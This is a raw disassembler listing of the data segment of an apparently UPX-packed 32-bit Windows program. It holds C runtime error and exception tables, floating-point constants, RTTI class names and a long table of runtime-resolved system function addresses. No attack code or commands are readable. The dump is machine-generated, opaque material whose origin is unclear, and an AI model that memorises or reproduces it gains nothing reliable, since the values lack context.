dword_4389E4	dd 16h			; DATA XREF: __dosmaperr:loc_41E4ECr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438B48	dd 0C0000005h		; DATA XREF: __dosmaperr+19o
					; _xcptlookup+Ar ...
dword_438B4C	dd 0Bh			; DATA XREF: _siglookup+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_438BC0	dd 3			; DATA XREF: __XcptFilter+58r
					; _raise+C8r
dword_438BC4	dd 7			; DATA XREF: __XcptFilter+5Er
					; _raise+CDr
dword_438BC8	dd 0Ah			; DATA XREF: _xcptlookup+4r
					; _siglookup+4r
dword_438BCC	dd 8Ch			; DATA XREF: __XcptFilter+82r
					; __XcptFilter+8Fw ...
dword_438BD0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: __flsbuf:loc_419BD0o
					; __filbuf:loc_41D811o
dword_438BD8	dd 2			; DATA XREF: __NMSG_WRITE+Eo
					; __NMSG_WRITE+28r
off_438BDC	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
					; __NMSG_WRITE+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 423AF4h, 9, 423AC8h, 0Ah,	423AA4h, 10h, 423A78h
		dd 11h,	423A48h, 12h, 423A24h, 13h, 4239F8h, 18h, 4239C0h
		dd 19h,	423998h, 1Ah, 423960h, 1Bh, 423928h, 1Ch, 423900h
		dd 78h,	4238F0h, 79h, 4238E0h, 7Ah, 4238D0h, 0FCh, 4293B0h
		dd 0FFh, 4238C0h
off_438C68	dd offset dword_4872E0	; DATA XREF: __NMSG_WRITE+1Bo
					; ___initstdio+55o
		align 10h
		dd offset dword_4872E0
		dd 101h
dword_438C78	dd 0FFFFFFFFh, 0	; DATA XREF: ___initstdio+72o
		dd 1000h, 0
dword_438C88	dd 3 dup(0)		; DATA XREF: __flsbuf+50o __stbuf+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_438CA8	dd 3 dup(0)		; DATA XREF: __flsbuf+58o
					; __stbuf:loc_41A6B0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_438CD8	dd 84h dup(0)		; DATA XREF: ___initstdio+9Bo
dword_438EE8	dd 2694h		; DATA XREF: __handle_qnan1+3r
					; __except1+46r ...
		align 10h
dword_438EF0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41FBC2o
dword_438F08	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41FBD8o
dword_438F20	dd 7080h		; DATA XREF: ___loctotime_t+76r
					; __tzset+5Ew ...
dword_438F24	dd 1			; DATA XREF: ___loctotime_t+98r
					; __tzset+8Bw ...
dword_438F28	dd 0FFFFF1F0h		; DATA XREF: ___loctotime_t:loc_41CC03r
					; __tzset+94w ...
off_438F2C	dd offset dword_545350	; DATA XREF: UPX0:off_438FACo
		dd 0Fh dup(0)
off_438F6C	dd offset dword_544450	; DATA XREF: UPX0:off_438FB0o
		dd 0Fh dup(0)
; char *off_438FAC
off_438FAC	dd offset off_438F2C	; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_438FB0
off_438FB0	dd offset off_438F6C	; DATA XREF: __tzset+F4r __tzset+11Br	...
		align 8
dword_438FB8	dd 0FFFFFFFFh		; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_438FBC	dd 0			; DATA XREF: __isindst:loc_420254r
					; _cvtdate+BFw
dword_438FC0	dd 0			; DATA XREF: __isindst+192r
					; _cvtdate+E0w
		align 8
dword_438FC8	dd 0FFFFFFFFh		; DATA XREF: __tzset+17w __isindst+26r ...
dword_438FCC	dd 0			; DATA XREF: __isindst+13Ar
					; _cvtdate+EAw	...
dword_438FD0	dd 0			; DATA XREF: __isindst+1A1r
					; _cvtdate+23r	...
dword_438FD4	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_439004	dd 16Dh			; DATA XREF: ___loctotime_t+2Ar
					; _cvtdate+2Er	...
dword_439008	dd 0FFFFFFFFh		; DATA XREF: _cvtdate:loc_420358r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_439040	dd 2 dup(0)		; DATA XREF: ___multtenpow12+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4391A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_4392FC	dd offset off_423CC8	; DATA XREF: UPX0:00423EA4o
					; UPX0:00423F90o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_439314	dd offset off_423CC8	; DATA XREF: UPX0:off_423D58o
					; UPX0:00423D98o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_439334	dd offset off_423CC8	; DATA XREF: UPX0:off_423DA0o
					; UPX0:00423DE4o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_439354	dd offset off_423CC8	; DATA XREF: UPX0:off_423DECo
					; UPX0:00423E30o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_439378	dd offset off_423CC8	; DATA XREF: UPX0:off_423E38o
					; UPX0:00423E74o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 8
byte_439398	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_43939A	dw 0			; DATA XREF: sub_401447+1E3w
word_43939C	dw 0			; DATA XREF: sub_401447+1E9w
word_43939E	dw 0			; DATA XREF: sub_401447+1F0w
byte_4393A0	db 0			; DATA XREF: sub_401447+1F7w
byte_4393A1	db 0			; DATA XREF: sub_401447+1FEw
word_4393A2	dw 0			; DATA XREF: sub_401447+204w
dword_4393A4	dd 0			; DATA XREF: sub_401447+234w
					; sub_401447+250w
dword_4393A8	dd 0			; DATA XREF: sub_401447+258w
byte_4393AC	db 0			; DATA XREF: sub_401447+26Aw
byte_4393AD	db 0			; DATA XREF: sub_401447+27Dw
word_4393AE	dw 0			; DATA XREF: sub_401447+295w
word_4393B0	dw 0			; DATA XREF: sub_401447+2A4w
word_4393B2	dw 0			; DATA XREF: sub_401447+29Cw
dword_4393B4	dd 101h	dup(0)		; DATA XREF: sub_401447+2B9o
dword_4397B8	dd 0			; DATA XREF: sub_4029E0+9Eo
; char byte_4397BC
byte_4397BC	db 0			; DATA XREF: sub_4029E0+36r
					; sub_402AC3+37r ...
		align 10h
dword_4397C0	dd 7A5h			; DATA XREF: UPX0:004030D8w
					; sub_4030DF+30r ...
		dd 2 dup(0)
dword_4397CC	dd 2 dup(0)		; DATA XREF: sub_403EB1+68o
; char byte_4397D4[]
byte_4397D4	db 4 dup(0)		; DATA XREF: sub_403951+13o
					; sub_40EE51+6123o ...
dword_4397D8	dd 2080Ah		; DATA XREF: sub_404854+8w
					; sub_404950+2D3o
		align 10h
dword_4397E0	dd 2 dup(0)		; DATA XREF: sub_404950+209o
dword_4397E8	dd 0			; DATA XREF: sub_4059D9+2Aw
					; sub_4059D9+51r ...
dword_4397EC	dd 0			; DATA XREF: sub_4030DF+AEr
					; UPX0:004042CBr ...
		dd 2 dup(0)
dword_4397F8	dd 0			; DATA XREF: sub_4071CC+18r
					; sub_40761F+92w ...
dword_4397FC	dd 0			; DATA XREF: sub_407758+4Dr
					; sub_40796C+D9w ...
		dd 3E6h	dup(0)
dword_43A798	dd 6 dup(0)		; DATA XREF: sub_407758+CFo
					; sub_407758+138o ...
dword_43A7B0	dd 0			; DATA XREF: sub_407243+82w
					; sub_407243+102o
dword_43A7B4	dd 41h dup(0)		; DATA XREF: sub_407243+41o
; char byte_43A8B8[]
byte_43A8B8	db 104h	dup(0)		; DATA XREF: sub_407243+63o
dword_43A9BC	dd 0			; DATA XREF: sub_407243+F8w
					; sub_407243+114r
dword_43A9C0	dd 0			; DATA XREF: sub_407243+52w
dword_43A9C4	dd 0			; DATA XREF: sub_407243+4Dw
					; sub_407243+CFr
; char byte_43A9C8[]
byte_43A9C8	db 80h dup(0)		; DATA XREF: sub_407243+9Ao
					; sub_407243+BAo
dword_43AA48	dd 0			; DATA XREF: sub_407243+8Fw
dword_43AA4C	dd 0			; DATA XREF: sub_407243+A7w
					; sub_407243+C7w
dword_43AA50	dd 0			; DATA XREF: sub_407243:loc_40736Dr
		align 8
dword_43AA58	dd 0			; DATA XREF: sub_407243+2D5w
					; sub_407243+32Eo
; char Dest[]
Dest		db 288h	dup(0)		; DATA XREF: sub_407243+2C3o
; char byte_43ACE4[]
byte_43ACE4	db 104h	dup(0)		; DATA XREF: sub_407243+28Do
dword_43ADE8	dd 0			; DATA XREF: sub_407243+2BAw
					; sub_407243+2E1r
		align 10h
dword_43ADF0	dd 0			; DATA XREF: sub_407243+324w
					; sub_407243+340r
dword_43ADF4	dd 0			; DATA XREF: sub_407243+2E7w
dword_43ADF8	dd 0			; DATA XREF: sub_407243+2F4w
dword_43ADFC	dd 0			; DATA XREF: sub_407243+2B4w
		dd 0
dword_43AE04	dd 0			; DATA XREF: sub_407243:loc_407599r
dword_43AE08	dd 0			; DATA XREF: sub_407243+1A1w
					; sub_407243+221o
dword_43AE0C	dd 41h dup(0)		; DATA XREF: sub_407243+163o
; char byte_43AF10[]
byte_43AF10	db 104h	dup(0)		; DATA XREF: sub_407243+182o
dword_43B014	dd 0			; DATA XREF: sub_407243+217w
					; sub_407243+233r
dword_43B018	dd 0			; DATA XREF: sub_407243+171w
dword_43B01C	dd 0			; DATA XREF: sub_407243+1EEr
; char byte_43B020[]
byte_43B020	db 80h dup(0)		; DATA XREF: sub_407243+1B9o
					; sub_407243+1D9o
dword_43B0A0	dd 0			; DATA XREF: sub_407243+1AEw
dword_43B0A4	dd 0			; DATA XREF: sub_407243+1C6w
					; sub_407243+1E6w
dword_43B0A8	dd 0			; DATA XREF: sub_407243:loc_40748Dr
		align 10h
dword_43B0B0	dd 0			; DATA XREF: sub_4087DB+Fr
					; sub_4089D4+12r
		align 8
; char byte_43B0B8[]
byte_43B0B8	db 200h	dup(0)		; DATA XREF: sub_409701+41o
; wchar_t word_43B2B8
word_43B2B8	dw 0			; DATA XREF: sub_409032+C7o
					; sub_40938D+DDo ...
		align 4
		dd 1FFh	dup(0)
; wchar_t word_43BAB8
word_43BAB8	dw 0			; DATA XREF: sub_409032+D6o
					; sub_40938D+F4o ...
		align 4
		dd 1FFh	dup(0)
dword_43C2B8	dd 0			; DATA XREF: sub_409032+86w
					; sub_409204+94r
dword_43C2BC	dd 0			; DATA XREF: sub_409032+A7w
					; sub_40966A+55r ...
dword_43C2C0	dd 0			; DATA XREF: sub_409032+A0w
					; sub_409204+D6r ...
dword_43C2C4	dd 0			; DATA XREF: sub_409032+79w
					; sub_409204+35r ...
; char byte_43C2C8[]
byte_43C2C8	db 200h	dup(0)		; DATA XREF: sub_40966A+5Eo
dword_43C4C8	dd 0			; DATA XREF: sub_409032+93w
					; sub_409204+A2r
		align 10h
dword_43C4D0	dd 0			; DATA XREF: sub_409032+E7o
					; sub_409032+103r ...
dword_43C4D4	dd 0			; DATA XREF: sub_40938D+17Bw
					; sub_409534+107w
; void *Src
Src		dd 0			; DATA XREF: sub_40938D+180w
					; sub_409534+10Dw ...
dword_43C4DC	dd 0			; DATA XREF: sub_40938D+159w
					; sub_40966A+4Fr
dword_43C4E0	dd 77C72C6Bh		; DATA XREF: sub_4085A0+210r
					; sub_4085A0+21Ar ...
dword_43C4E4	dd 77EBA994h		; DATA XREF: sub_40981A+65w
					; sub_415179+F5r
dword_43C4E8	dd 7622A3F4h		; DATA XREF: sub_40981A+7EDw
					; sub_40981A+862r ...
dword_43C4EC	dd 71C45229h		; DATA XREF: sub_40981A+9BAw
					; sub_40981A+A18r ...
dword_43C4F0	dd 71C24870h		; DATA XREF: sub_40981A+96Cw
					; sub_40981A+9E8r ...
dword_43C4F4	dd 77C71BB0h		; DATA XREF: sub_4085A0+D1r
					; sub_40981A+46Fw ...
dword_43C4F8	dd 77D4808Bh		; DATA XREF: sub_40239E+ECr
					; sub_40239E+109r ...
dword_43C4FC	dd 71C4502Ch		; DATA XREF: sub_40981A+9ADw
					; sub_40981A+A10r ...
dword_43C500	dd 77DE801Bh		; DATA XREF: sub_40981A+354w
					; sub_40981A+3A9r ...
dword_43C504	dd 77DDACABh		; DATA XREF: sub_40981A+3F1w
					; sub_40B8D3+11Er
dword_43C508	dd 77DE8075h		; DATA XREF: sub_40981A+361w
					; sub_40981A+3B1r ...
dword_43C50C	dd 77DD7496h		; DATA XREF: sub_40981A+3A2w
					; sub_40DCE4+ADr
dword_43C510	dd 71AB1B7Bh		; DATA XREF: sub_405AF0+115r
					; sub_4084A0+7Dr ...
dword_43C514	dd 77E686CCh		; DATA XREF: sub_40981A+72w
					; sub_40981A+D2r ...
dword_43C518	dd 71C2498Bh		; DATA XREF: sub_40981A+95Fw
					; sub_40981A+9DBr ...
dword_43C51C	dd 77DDAB2Fh		; DATA XREF: sub_40981A+388w
					; sub_40981A+3C9r ...
dword_43C520	dd 7620E8C3h		; DATA XREF: sub_40981A+83Bw
					; sub_40981A+88Er ...
dword_43C524	dd 77DD23D7h		; DATA XREF: sub_408C13+58r
					; sub_40981A+2A5w ...
dword_43C528	dd 76214750h		; DATA XREF: sub_40981A+82Ew
					; sub_40981A+886r ...
dword_43C52C	dd 77E6D75Bh		; DATA XREF: sub_40981A+B3w
dword_43C530	dd 7620BD61h		; DATA XREF: sub_40981A+848w
					; sub_40981A+896r ...
dword_43C534	dd 71AB60C9h		; DATA XREF: sub_407BCB+7Er
					; sub_40981A+52Fw ...
dword_43C538	dd 77EBA6E9h		; DATA XREF: sub_40981A+58w
					; sub_40981A+CAr ...
dword_43C53C	dd 76D62A58h		; DATA XREF: sub_40981A+916w
					; sub_40AF81+11Ar
dword_43C540	dd 76F36EAAh		; DATA XREF: sub_40981A+A66w
					; sub_40981A+A6Dr ...
dword_43C544	dd 77E802FCh		; DATA XREF: sub_40981A+A6w
					; sub_40981A+F2r
dword_43C548	dd 77C75455h		; DATA XREF: sub_4085A0+119r
					; sub_40981A+462w ...
dword_43C54C	dd 71AB12A7h		; DATA XREF: sub_4075D7+20r
					; sub_40981A+5D8w ...
dword_43C550	dd 71C574FAh		; DATA XREF: sub_40981A+9A0w
					; sub_40981A+A08r
dword_43C554	dd 71AB1746h		; DATA XREF: sub_40267F+280r
					; sub_40981A+5CBw ...
dword_43C558	dd 71B28D0Dh		; DATA XREF: sub_402AC3+9Ar
					; sub_40981A+B21w
dword_43C55C	dd 762211EFh		; DATA XREF: sub_40981A+7E0w
					; sub_40981A+84Fr ...
dword_43C560	dd 77D902E3h		; DATA XREF: sub_40981A+1B3w
					; sub_40AC1B+15r
dword_43C564	dd 71C2FA86h		; DATA XREF: sub_40981A+979w
					; sub_40981A+9F0r ...
dword_43C568	dd 77DE1291h		; DATA XREF: sub_40981A+36Ew
					; sub_40981A+3B9r ...
dword_43C56C	dd 77E2C1B3h		; DATA XREF: sub_40981A+37Bw
					; sub_40981A+3C1r ...
dword_43C570	dd 73B81E3Bh		; DATA XREF: sub_4087DB+28r
					; sub_4089D4+2Br ...
dword_43C574	dd 71ABF628h		; DATA XREF: sub_40981A+68Ew
					; sub_41546F+D0r
dword_43C578	dd 71AB1836h		; DATA XREF: sub_4010B2:loc_4013DDr
					; sub_401A6D:loc_401D13r ...
dword_43C57C	dd 77C72889h		; DATA XREF: sub_4085A0+207r
					; sub_40981A+496w
dword_43C580	dd 71C453F8h		; DATA XREF: sub_40981A+9C7w
					; sub_40981A+A20r ...
dword_43C584	dd 77DD5C55h		; DATA XREF: sub_40981A+2B2w
					; sub_40981A+2DEr ...
dword_43C588	dd 77E96645h		; DATA XREF: sub_40981A+7Fw
					; sub_40981A+DAr ...
dword_43C58C	dd 77428B97h		; DATA XREF: sub_40981A+B6Ew
					; sub_40981A+B75r ...
dword_43C590	dd 71AB41DAh		; DATA XREF: sub_4010B2+2Fr
					; sub_401A6D+2Fr ...
dword_43C594	dd 762059A3h		; DATA XREF: sub_40981A+807w
					; sub_40981A+872r ...
dword_43C598	dd 71C4A1B4h		; DATA XREF: sub_40981A+986w
					; sub_40981A+9F8r
dword_43C59C	dd 1F7CD214h		; DATA XREF: sub_40981A+BDFw
					; sub_40981A+C10r
dword_43C5A0	dd 77D4456Bh		; DATA XREF: sub_40239E+40r
					; sub_40239E+63r ...
dword_43C5A4	dd 76D629BBh		; DATA XREF: sub_40981A+8FCw
					; sub_40981A+910r ...
dword_43C5A8	dd 1F7B9D96h		; DATA XREF: sub_40981A+BF9w
dword_43C5AC	dd 71AB1740h		; DATA XREF: sub_4010B2:loc_4013A7r
					; sub_401447+3Cr ...
dword_43C5B0	dd 7620AFB6h		; DATA XREF: sub_40981A+821w
					; sub_40981A+855r
dword_43C5B4	dd 0AA8BE8h		; DATA XREF: sub_40239E+50r
					; sub_40239E+78r ...
dword_43C5B8	dd 77D45B19h		; DATA XREF: sub_4087DB+3Fr
					; sub_4087DB+69r ...
dword_43C5BC	dd 71AB157Eh		; DATA XREF: sub_40981A+65Aw
					; sub_40981A+786r ...
dword_43C5C0	dd 71AB3E5Dh		; DATA XREF: sub_402DCE+20Ar
					; sub_4030DF+5Er ...
dword_43C5C4	dd 71AB14DCh		; DATA XREF: sub_40267F+16Er
					; sub_40981A+549w ...
dword_43C5C8	dd 0CC0004h		; DATA XREF: sub_40981A+8BDw
					; sub_40981A:loc_40A0F5w ...
dword_43C5CC	dd 0AA8CC0h		; DATA XREF: sub_40981A+28Bw
					; sub_40981A+2C6r ...
dword_43C5D0	dd 71ABD755h		; DATA XREF: sub_407D53+98r
					; sub_40981A+681w ...
dword_43C5D4	dd 77DF7311h		; DATA XREF: sub_40981A+30Fw
					; sub_40981A+323r ...
dword_43C5D8	dd 77DDA2AFh		; DATA XREF: sub_40981A+395w
					; sub_40981A+3D1r ...
dword_43C5DC	dd 1F7CD927h		; DATA XREF: sub_40981A+BD2w
					; sub_40981A+C08r
dword_43C5E0	dd 76206853h		; DATA XREF: sub_40981A+7FAw
					; sub_40981A+86Ar ...
dword_43C5E4	dd 77D4932Ch		; DATA XREF: sub_40239E+FCr
					; sub_40981A+206w ...
dword_43C5E8	dd 77D5E310h		; DATA XREF: sub_40981A+18Cw
					; sub_40981A+1D2r ...
dword_43C5EC	dd 76206B7Fh		; DATA XREF: sub_40981A+814w
					; sub_40981A+87Ar ...
dword_43C5F0	dd 71AB1444h		; DATA XREF: sub_406C0B+244r
					; sub_40981A+606w ...
dword_43C5F4	dd 77DD189Ah		; DATA XREF: sub_408C13+19Br
					; sub_40981A+2BFw ...
dword_43C5F8	dd 71AB3F8Dh		; DATA XREF: sub_4010B2+6Fr
					; sub_401447+AAr ...
dword_43C5FC	dd 77DD5D20h		; DATA XREF: sub_40981A+302w
					; sub_40981A+316r ...
dword_43C600	dd 71AB1890h		; DATA XREF: sub_405AF0+F9r
					; sub_406C0B+1FCr ...
dword_43C604	dd 77C76B34h		; DATA XREF: sub_4085A0+16r
					; sub_40981A+42Ew ...
dword_43C608	dd 77D5E38Ch		; DATA XREF: sub_40981A+199w
					; sub_40981A+1DAr ...
dword_43C60C	dd 77DDA20Bh		; DATA XREF: sub_40981A+347w
					; sub_40981A+39Cr ...
dword_43C610	dd 76F36EEBh		; DATA XREF: sub_40981A+A73w
dword_43C614	dd 71AB12A7h		; DATA XREF: sub_4010B2+EBr
					; sub_4010B2+1F9r ...
dword_43C618	dd 71AB1746h		; DATA XREF: sub_4010B2+87r
					; sub_4010B2+9Dr ...
dword_43C61C	dd 77EBA595h		; DATA XREF: sub_40981A+4Bw
					; sub_40981A+C2r ...
dword_43C620	dd 77C7531Dh		; DATA XREF: sub_4085A0+2Cr
					; sub_4085A0+38r ...
dword_43C624	dd 77D4BDCAh		; DATA XREF: sub_40981A+165w
					; sub_40981A+1BAr ...
dword_43C628	dd 71C3516Ah		; DATA XREF: sub_40981A+9E1w
					; sub_40E5CD+72r
dword_43C62C	dd 71AB32CAh		; DATA XREF: sub_40981A+667w
					; sub_40981A+78Er
dword_43C630	dd 71AB5690h		; DATA XREF: sub_40267F+205r
					; sub_402DCE+23Br ...
dword_43C634	dd 1F7CB8F8h		; DATA XREF: sub_40981A+BECw
					; sub_40981A+C18r
dword_43C638	dd 77EBB1E7h		; DATA XREF: sub_40981A+3Ew
					; sub_40981A+BAr ...
dword_43C63C	dd 77DD59F0h		; DATA XREF: sub_40981A+298w
					; sub_40981A+2CEr ...
dword_43C640	dd 71AB5DE2h		; DATA XREF: sub_405AF0+9Er
					; sub_407BCB+9Cr ...
dword_43C644	dd 71AB3ECEh		; DATA XREF: sub_40267F+EBr
					; sub_405AF0+89r ...
dword_43C648	dd 73B81B0Fh		; DATA XREF: sub_40981A+C63w
					; sub_40EE51+4626r
dword_43C64C	dd 76204E4Dh		; DATA XREF: sub_40981A+85Bw
					; sub_40BC4D+205r ...
dword_43C650	dd 0			; DATA XREF: sub_40981A+112w
dword_43C654	dd 1F7D886Ah		; DATA XREF: sub_40981A+BB8w
					; sub_40981A+BF3r
dword_43C658	dd 71AB12F8h		; DATA XREF: sub_401447+119r
					; sub_401447+1A0r ...
dword_43C65C	dd 77C76551h		; DATA XREF: sub_4085A0+BCr
					; sub_40981A+43Bw ...
dword_43C660	dd 77C729E2h		; DATA XREF: sub_4085A0+FBr
					; sub_40981A+47Cw ...
dword_43C664	dd 77C7212Fh		; DATA XREF: sub_4085A0+65r
					; sub_40981A+448w ...
dword_43C668	dd 71AB1AF4h		; DATA XREF: sub_402DCE+221r
					; sub_402DCE+249r ...
dword_43C66C	dd 77D5E303h		; DATA XREF: sub_40981A+1A6w
					; sub_40981A+1E2r ...
dword_43C670	dd 71C4576Ch		; DATA XREF: sub_40981A+9D4w
					; sub_40981A+A28r ...
dword_43C674	dd 77D4702Fh		; DATA XREF: sub_4087DB+53r
					; sub_4087DB+7Fr ...
dword_43C678	dd 77E6C0E3h		; DATA XREF: sub_40981A+8Cw
					; sub_40981A+E2r ...
dword_43C67C	dd 71AB1ED3h		; DATA XREF: sub_4010B2+2C2r
					; sub_401447+2DAr ...
dword_43C680	dd 71B2A381h		; DATA XREF: sub_40981A+B14w
					; sub_40981A+B30r
dword_43C684	dd 77DDA595h		; DATA XREF: sub_40981A+31Cw
					; sub_41510E+55r
dword_43C688	dd 77DD22EAh		; DATA XREF: sub_408C13+3Fr
					; sub_40981A+27Ew ...
dword_43C68C	dd 773F97B0h		; DATA XREF: sub_40981A+B7Bw
dword_43C690	dd 76D67A29h		; DATA XREF: sub_40981A+ABDw
					; sub_40ADFD+CEr
dword_43C694	dd 76D674FAh		; DATA XREF: sub_40981A+AB0w
					; sub_40981A+AB7r ...
dword_43C698	dd 71AB3C22h		; DATA XREF: sub_401447+2Er
					; sub_401D79+55r ...
dword_43C69C	dd 71AB2BBFh		; DATA XREF: sub_407D53+88r
					; sub_40981A+674w ...
dword_43C6A0	dd 1F7BA3A9h		; DATA XREF: sub_40981A+BC5w
					; sub_40981A+C00r
dword_43C6A4	dd 71AB401Ch		; DATA XREF: sub_40267F+28Dr
					; sub_406C0B+250r ...
dword_43C6A8	dd 71C214BAh		; DATA XREF: sub_40981A+993w
					; sub_40981A+A00r ...
dword_43C6AC	dd 71AB868Dh		; DATA XREF: sub_405AF0+13Ar
					; sub_407BCB+B3r ...
dword_43C6B0	dd 71AB1A6Dh		; DATA XREF: sub_4010B2+324r
					; sub_401447+2F0r ...
dword_43C6B4	dd 71AB155Ah		; DATA XREF: sub_405AF0+B7r
					; sub_405AF0+39Fr ...
dword_43C6B8	dd 71B22C25h		; DATA XREF: sub_4029E0+B0r
					; sub_4029E0+C8r ...
dword_43C6BC	dd 71AB5A01h		; DATA XREF: sub_4010B2+4Fr
					; sub_401A6D+4Fr ...
dword_43C6C0	dd 71B2ACCBh		; DATA XREF: sub_40981A+AFAw
					; sub_40981A+B1Br
dword_43C6C4	dd 77E78C17h		; DATA XREF: sub_40981A+31w
					; sub_40981A+ADr ...
dword_43C6C8	dd 77D49A11h		; DATA XREF: sub_4087DB+1ECr
					; sub_4089D4+232r ...
		align 10h
dword_43C6D0	dd 76D62A37h		; DATA XREF: sub_40981A+909w
					; sub_40981A+91Dr ...
dword_43C6D4	dd 77E6CBF9h		; DATA XREF: sub_40981A+99w
					; sub_40981A+EAr ...
dword_43C6D8	dd 0			; DATA XREF: sub_40981A:loc_409918w
					; sub_40981A+12Bw ...
dword_43C6DC	dd 0			; DATA XREF: sub_40981A+126w
					; sub_40A4A7+1Cr
dword_43C6E0	dd 0			; DATA XREF: sub_40981A:loc_409A08w
					; sub_40981A:loc_409A6Fw ...
dword_43C6E4	dd 0			; DATA XREF: sub_40981A+250w
					; sub_40A4A7+50r
dword_43C6E8	dd 0			; DATA XREF: sub_40981A:loc_409B04w
					; sub_40981A:loc_409B49w ...
dword_43C6EC	dd 0			; DATA XREF: sub_40981A+400w
					; sub_40A4A7+84r
dword_43C6F0	dd 0			; DATA XREF: sub_40981A:loc_409D00w
					; sub_40A4A7:loc_40A557r
